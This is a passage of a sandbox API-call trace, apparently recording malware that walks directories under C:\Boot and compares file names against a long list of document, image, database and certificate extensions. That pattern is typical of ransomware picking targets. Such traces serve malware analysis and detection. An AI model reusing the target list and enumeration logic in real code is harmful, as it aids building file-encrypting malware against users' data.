(lpString=".backup") returned 7 [0036.869] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0036.869] lstrlenW (lpString=".bak") returned 4 [0036.869] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".bay") returned 4 [0036.869] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".bd") returned 3 [0036.869] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0036.869] lstrlenW (lpString=".bin") returned 4 [0036.869] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".bmp") returned 4 [0036.869] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".bz2") returned 4 [0036.869] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".c") returned 2 [0036.869] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0036.869] lstrlenW (lpString=".cdr") returned 4 [0036.869] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".cer") returned 4 [0036.869] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".cf") returned 3 [0036.869] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0036.869] lstrlenW (lpString=".cfc") returned 4 [0036.869] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".cfm") returned 4 [0036.869] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".cfml") returned 5 [0036.869] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0036.869] lstrlenW (lpString=".cfu") returned 4 [0036.869] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".chm") returned 4 [0036.869] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".cin") returned 4 [0036.869] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0036.869] lstrlenW (lpString=".class") returned 6 [0036.870] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0036.870] lstrlenW (lpString=".clx") returned 4 [0036.870] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".config") returned 7 [0036.870] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0036.870] lstrlenW (lpString=".cpp") returned 4 [0036.870] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".cr2") returned 4 [0036.870] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".crt") returned 4 [0036.870] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".crw") returned 4 [0036.870] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".cs") returned 3 [0036.870] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0036.870] lstrlenW (lpString=".css") returned 4 [0036.870] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".csv") returned 4 [0036.870] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".cub") returned 4 [0036.870] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".dae") returned 4 [0036.870] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".dat") returned 4 [0036.870] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".db") returned 3 [0036.870] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0036.870] lstrlenW (lpString=".dbf") returned 4 [0036.870] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".dbx") returned 4 [0036.870] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".dc3") returned 4 [0036.870] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".dcm") returned 4 [0036.870] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0036.870] lstrlenW (lpString=".dcr") returned 4 [0036.870] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".der") returned 4 [0036.871] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".dib") returned 4 [0036.871] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".dic") returned 4 [0036.871] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".dif") returned 4 [0036.871] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".divx") returned 5 [0036.871] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0036.871] lstrlenW (lpString=".djvu") returned 5 [0036.871] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0036.871] lstrlenW (lpString=".dng") returned 4 [0036.871] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".doc") returned 4 [0036.871] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".docm") returned 5 [0036.871] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0036.871] lstrlenW (lpString=".docx") returned 5 [0036.871] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.871] lstrlenW (lpString=".dot") returned 4 [0036.871] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".dotm") returned 5 [0036.871] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0036.871] lstrlenW (lpString=".dotx") returned 5 [0036.871] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0036.871] lstrlenW (lpString=".dpx") returned 4 [0036.871] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".dqy") returned 4 [0036.871] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".dsn") returned 4 [0036.871] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".dt") returned 3 [0036.871] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0036.871] lstrlenW (lpString=".dtd") returned 4 [0036.871] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0036.871] lstrlenW (lpString=".dwg") returned 4 [0036.871] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".dwt") returned 4 [0036.872] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".dx") returned 3 [0036.872] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0036.872] lstrlenW (lpString=".dxf") returned 4 [0036.872] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".edml") returned 5 [0036.872] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0036.872] lstrlenW (lpString=".efd") returned 4 [0036.872] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".elf") returned 4 [0036.872] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".emf") returned 4 [0036.872] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".emz") returned 4 [0036.872] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".epf") returned 4 [0036.872] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".eps") returned 4 [0036.872] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".epsf") returned 5 [0036.872] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0036.872] lstrlenW (lpString=".epsp") returned 5 [0036.872] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0036.872] lstrlenW (lpString=".erf") returned 4 [0036.872] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".exr") returned 4 [0036.872] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".f4v") returned 4 [0036.872] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".fido") returned 5 [0036.872] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0036.872] lstrlenW (lpString=".flm") returned 4 [0036.872] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".flv") returned 4 [0036.872] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0036.872] lstrlenW (lpString=".frm") returned 4 [0036.872] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".fxg") returned 4 [0036.873] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".geo") returned 4 [0036.873] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".gif") returned 4 [0036.873] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".grs") returned 4 [0036.873] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".gz") returned 3 [0036.873] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0036.873] lstrlenW (lpString=".h") returned 2 [0036.873] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0036.873] lstrlenW (lpString=".hdr") returned 4 [0036.873] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".hpp") returned 4 [0036.873] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".hta") returned 4 [0036.873] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".htc") returned 4 [0036.873] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".htm") returned 4 [0036.873] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".html") returned 5 [0036.873] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0036.873] lstrlenW (lpString=".icb") returned 4 [0036.873] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".ics") returned 4 [0036.873] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".iff") returned 4 [0036.873] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".inc") returned 4 [0036.873] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".indd") returned 5 [0036.873] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0036.873] lstrlenW (lpString=".ini") returned 4 [0036.873] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0036.873] lstrlenW (lpString=".iqy") returned 4 [0036.874] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".j2c") returned 4 [0036.874] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".j2k") returned 4 [0036.874] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".java") returned 5 [0036.874] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0036.874] lstrlenW (lpString=".jp2") returned 4 [0036.874] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".jpc") returned 4 [0036.874] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".jpe") returned 4 [0036.874] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".jpeg") returned 5 [0036.874] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0036.874] lstrlenW (lpString=".jpf") returned 4 [0036.874] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".jpg") returned 4 [0036.874] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".jpx") returned 4 [0036.874] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".js") returned 3 [0036.874] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0036.874] lstrlenW (lpString=".jsf") returned 4 [0036.874] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".json") returned 5 [0036.874] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0036.874] lstrlenW (lpString=".jsp") returned 4 [0036.874] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".kdc") returned 4 [0036.874] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".kmz") returned 4 [0036.874] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".kwm") returned 4 [0036.874] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0036.874] lstrlenW (lpString=".lasso") returned 6 [0036.874] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0036.875] lstrlenW (lpString=".lbi") returned 4 [0036.875] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".lgf") returned 4 [0036.875] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".lgp") returned 4 [0036.875] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".log") returned 4 [0036.875] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".m1v") returned 4 [0036.875] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".m4a") returned 4 [0036.875] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".m4v") returned 4 [0036.875] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".max") returned 4 [0036.875] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".md") returned 3 [0036.875] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0036.875] lstrlenW (lpString=".mda") returned 4 [0036.875] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".mdb") returned 4 [0036.875] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".mde") returned 4 [0036.875] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".mdf") returned 4 [0036.875] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".mdw") returned 4 [0036.875] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".mef") returned 4 [0036.875] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".mft") returned 4 [0036.875] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".mfw") returned 4 [0036.875] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".mht") returned 4 [0036.875] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0036.875] lstrlenW (lpString=".mhtml") returned 6 [0036.876] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0036.876] lstrlenW (lpString=".mka") returned 4 [0036.876] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0036.876] lstrlenW (lpString=".mkidx") returned 6 [0036.876] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0036.876] lstrlenW (lpString=".mkv") returned 4 [0036.876] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0036.876] lstrlenW (lpString=".mos") returned 4 [0036.876] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0036.876] lstrlenW (lpString=".mov") returned 4 [0036.876] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0036.876] lstrlenW (lpString=".mp3") returned 4 [0036.876] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0036.876] lstrlenW (lpString=".mp4") returned 4 [0036.876] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0036.876] lstrlenW (lpString=".mpeg") returned 5 [0036.876] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0036.876] lstrlenW (lpString=".mpg") returned 4 [0036.876] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0036.876] lstrlenW (lpString=".mpv") returned 4 [0036.876] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0036.876] lstrlenW (lpString=".mrw") returned 4 [0036.876] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0036.876] lstrlenW (lpString=".msg") returned 4 [0036.876] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0036.876] lstrlenW (lpString=".mxl") returned 4 [0036.876] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0036.876] lstrlenW (lpString=".myd") returned 4 [0036.876] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0036.876] lstrlenW (lpString=".myi") returned 4 [0036.876] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0036.876] lstrlenW (lpString=".nef") returned 4 [0036.876] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0036.876] lstrlenW (lpString=".nrw") returned 4 [0036.877] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".obj") returned 4 [0036.877] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".odb") returned 4 [0036.877] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".odc") returned 4 [0036.877] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".odm") returned 4 [0036.877] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".odp") returned 4 [0036.877] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".ods") returned 4 [0036.877] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".oft") returned 4 [0036.877] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".one") returned 4 [0036.877] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".onepkg") returned 7 [0036.877] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0036.877] lstrlenW (lpString=".onetoc2") returned 8 [0036.877] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0036.877] lstrlenW (lpString=".opt") returned 4 [0036.877] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".oqy") returned 4 [0036.877] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".orf") returned 4 [0036.877] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0036.877] lstrlenW (lpString=".p12") returned 4 [0036.878] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".p7b") returned 4 [0036.878] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".p7c") returned 4 [0036.878] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pam") returned 4 [0036.878] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pbm") returned 4 [0036.878] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pct") returned 4 [0036.878] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pcx") returned 4 [0036.878] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pdd") returned 4 [0036.878] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pdf") returned 4 [0036.878] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pdp") returned 4 [0036.878] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pef") returned 4 [0036.878] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pem") returned 4 [0036.878] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pff") returned 4 [0036.878] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pfm") returned 4 [0036.878] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pfx") returned 4 [0036.878] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".pgm") returned 4 [0036.878] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".php") returned 4 [0036.878] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0036.878] lstrlenW (lpString=".php3") returned 5 [0036.878] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0036.878] lstrlenW (lpString=".php4") returned 5 [0036.879] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0036.879] lstrlenW (lpString=".php5") returned 5 [0036.879] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0036.879] lstrlenW (lpString=".phtml") returned 6 [0036.879] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0036.879] lstrlenW (lpString=".pict") returned 5 [0036.879] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0036.879] lstrlenW (lpString=".pl") returned 3 [0036.879] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0036.879] lstrlenW (lpString=".pls") returned 4 [0036.879] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0036.879] lstrlenW (lpString=".pm") returned 3 [0036.879] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0036.879] lstrlenW (lpString=".png") returned 4 [0036.879] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0036.879] lstrlenW (lpString=".pnm") returned 4 [0036.879] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0036.879] lstrlenW (lpString=".pot") returned 4 [0036.879] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0036.879] lstrlenW (lpString=".potm") returned 5 [0036.879] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0036.879] lstrlenW (lpString=".potx") returned 5 [0036.879] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0036.879] lstrlenW (lpString=".ppa") returned 4 [0036.879] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0036.879] lstrlenW (lpString=".ppam") returned 5 [0036.879] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0036.879] lstrlenW (lpString=".ppm") returned 4 [0036.879] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0036.879] lstrlenW (lpString=".pps") returned 4 [0036.879] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0036.879] lstrlenW (lpString=".ppsm") returned 5 [0036.879] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0036.879] lstrlenW (lpString=".ppt") returned 4 [0036.879] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.879] lstrlenW (lpString=".pptm") returned 5 [0036.879] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0036.879] lstrlenW (lpString=".pptx") returned 5 [0036.880] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0036.880] lstrlenW (lpString=".prn") returned 4 [0036.880] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0036.880] lstrlenW (lpString=".ps") returned 3 [0036.880] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0036.880] lstrlenW (lpString=".psb") returned 4 [0036.880] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0036.880] lstrlenW (lpString=".psd") returned 4 [0036.880] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0036.880] lstrlenW (lpString=".pst") returned 4 [0036.880] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0036.880] lstrlenW (lpString=".ptx") returned 4 [0036.880] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0036.880] lstrlenW (lpString=".pub") returned 4 [0036.880] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0036.880] lstrlenW (lpString=".pwm") returned 4 [0036.880] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0036.880] lstrlenW (lpString=".pxr") returned 4 [0036.880] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0036.880] lstrlenW (lpString=".py") returned 3 [0036.880] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0036.880] lstrlenW (lpString=".qt") returned 3 [0036.880] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0036.880] lstrlenW (lpString=".r3d") returned 4 [0036.880] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0036.880] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.880] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0036.881] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.898] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.898] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.898] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 